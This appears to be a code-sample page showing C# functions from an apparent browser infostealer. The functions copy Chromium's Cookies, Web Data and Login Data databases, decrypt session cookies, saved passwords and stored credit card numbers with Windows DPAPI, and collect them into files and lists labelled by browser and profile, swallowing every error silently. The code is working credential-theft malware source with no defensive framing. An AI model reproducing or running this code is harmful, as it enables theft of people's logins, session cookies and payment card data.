Beispiel #1
0
 public static void Cookie_Grab(string profilePath, string browser_name, string profile)
 {
     try
     {
         string text   = Path.Combine(profilePath, "Cookies");
         var    cNT    = new sqlite.CNT(CreateTempCopy(text));
         var    unused = cNT.ReadTable("cookies");
         for (int i = 0; i < cNT.RowLength; i++)
         {
             CCookies++;
             try
             {
                 Cookies.Add($"{cNT.ParseValue(i, "host_key").Trim()}\t{(cNT.ParseValue(i, "httponly") == "1")}\t{cNT.ParseValue(i, "path").Trim()}\t{(cNT.ParseValue(i, "secure") == "1")}\t{cNT.ParseValue(i, "expires_utc").Trim()}\t{cNT.ParseValue(i, "name").Trim()}\t{DecryptBlob(cNT.ParseValue(i, "encrypted_value"), DataProtectionScope.CurrentUser).Trim()}{Environment.NewLine}");
                 domains.Add(cNT.ParseValue(i, "host_key").Trim());
             }
             catch (Exception)  { }
         }
         using (var streamWriter = new StreamWriter($"{Program.dir}\\Browsers\\{profile}_{browser_name}_Cookies.txt"))
         {
             for (int a = 0; a < Cookies.Count(); a++)
             {
                 streamWriter.Write(Cookies[a]);
             }
         }
         Cookies.Clear();
     }
     catch { }
 }
Beispiel #2
0
        public static void Get_Autofill(string profilePath, string browser_name, string profile_name)
        {
            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                var    cNT  = new sqlite.CNT(GetCookies.CreateTempCopy(text));
                cNT.ReadTable("autofill");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    AutofillCount++;
                    try
                    {
                        Autofill.Add($"Name : {cNT.ParseValue(i, "name").Trim()}{Environment.NewLine}Value : {cNT.ParseValue(i, "value").Trim()}");
                    }
                    catch { }
                }

                foreach (string v in Autofill)
                {
                    Autofill_List.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile_name}{Environment.NewLine}{v}{Environment.NewLine}");;
                }
                Autofill.Clear();
            }
            catch { }
        }
        public static void Get_CC(string profilePath, string Browser_Name, string Profile_Name)
        {
            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                var    cNT  = new sqlite.CNT(Cookies.GetCookies.CreateTempCopy(text));

                cNT.ReadTable("credit_cards");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    CCCouunt++;
                    try
                    {
                        CC.Add($"Name : {cNT.ParseValue(i, "name_on_card").Trim()}{Environment.NewLine}Ex_Month And Year: {Convert.ToInt32(cNT.ParseValue(i, "expiration_month").Trim())}/{Convert.ToInt32(cNT.ParseValue(i, "expiration_year").Trim() + Environment.NewLine + "Card_Number" + Cookies.GetCookies.DecryptBlob(cNT.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser).Trim())}");
                    }
                    catch { }
                }
                foreach (string v in CC)
                {
                    CC_List.Add($"Browser : {Browser_Name}{Environment.NewLine}Profie : {Profile_Name}{Environment.NewLine}{v}");
                }
                CC.Clear();
            }
            catch { }
        }
        public static void Passwords_Grab(string profilePath, string browser_name, string profile)
        {
            try
            {
                string text = Path.Combine(profilePath, "Login Data");
                browser_name_list.Add(browser_name);
                profile_list.Add(profile);

                var cNT = new sqlite.CNT(GetCookies.CreateTempCopy(text));
                cNT.ReadTable("logins");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    Cpassword++;
                    try
                    {
                        credential.Add($"Site_Url : {cNT.ParseValue(i, "origin_url").Trim()}{Environment.NewLine}Login : {cNT.ParseValue(i, "username_value").Trim()}{Environment.NewLine}Password : {GetCookies.DecryptBlob(cNT.ParseValue(i, "password_value"), DataProtectionScope.CurrentUser).Trim()}{Environment.NewLine}");
                    }
                    catch  { }
                }
                foreach (string v in credential)
                {
                    password.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile}{Environment.NewLine}{v}");
                }
                credential.Clear();
            }
            catch { }
        }